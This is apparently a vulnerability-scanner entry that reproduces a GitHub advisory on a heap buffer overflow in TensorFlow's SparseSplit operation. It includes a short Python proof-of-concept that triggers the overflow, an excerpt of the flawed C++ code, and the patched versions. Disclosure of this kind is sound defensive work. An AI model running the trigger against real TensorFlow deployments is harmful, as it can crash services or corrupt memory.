QID 982491
QID 982491: Python (pip) Security Update for tensorflow-gpu (GHSA-mqh2-9wrp-vx84)
Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
An attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`:
```python
import tensorflow as tf
shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSplit(
split_dim=shape_dims, indices=indices, values=values,
shape=shape, num_split=1)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset:
```cc
const int dim = input_tensor.indices().matrix<int64>()(i, split_dim);
int slice_index = GetSliceIndex(dim, split_size, residual);
num_values[slice_index]++;
```
This results in overriding values on the heap.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- GHSA-mqh2-9wrp-vx84 -
github.com/advisories/GHSA-mqh2-9wrp-vx84
CVEs related to QID 982491
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-mqh2-9wrp-vx84 | tensorflow |
|
|
| GHSA-mqh2-9wrp-vx84 | tensorflow-cpu |
|
|
| GHSA-mqh2-9wrp-vx84 | tensorflow-gpu |
|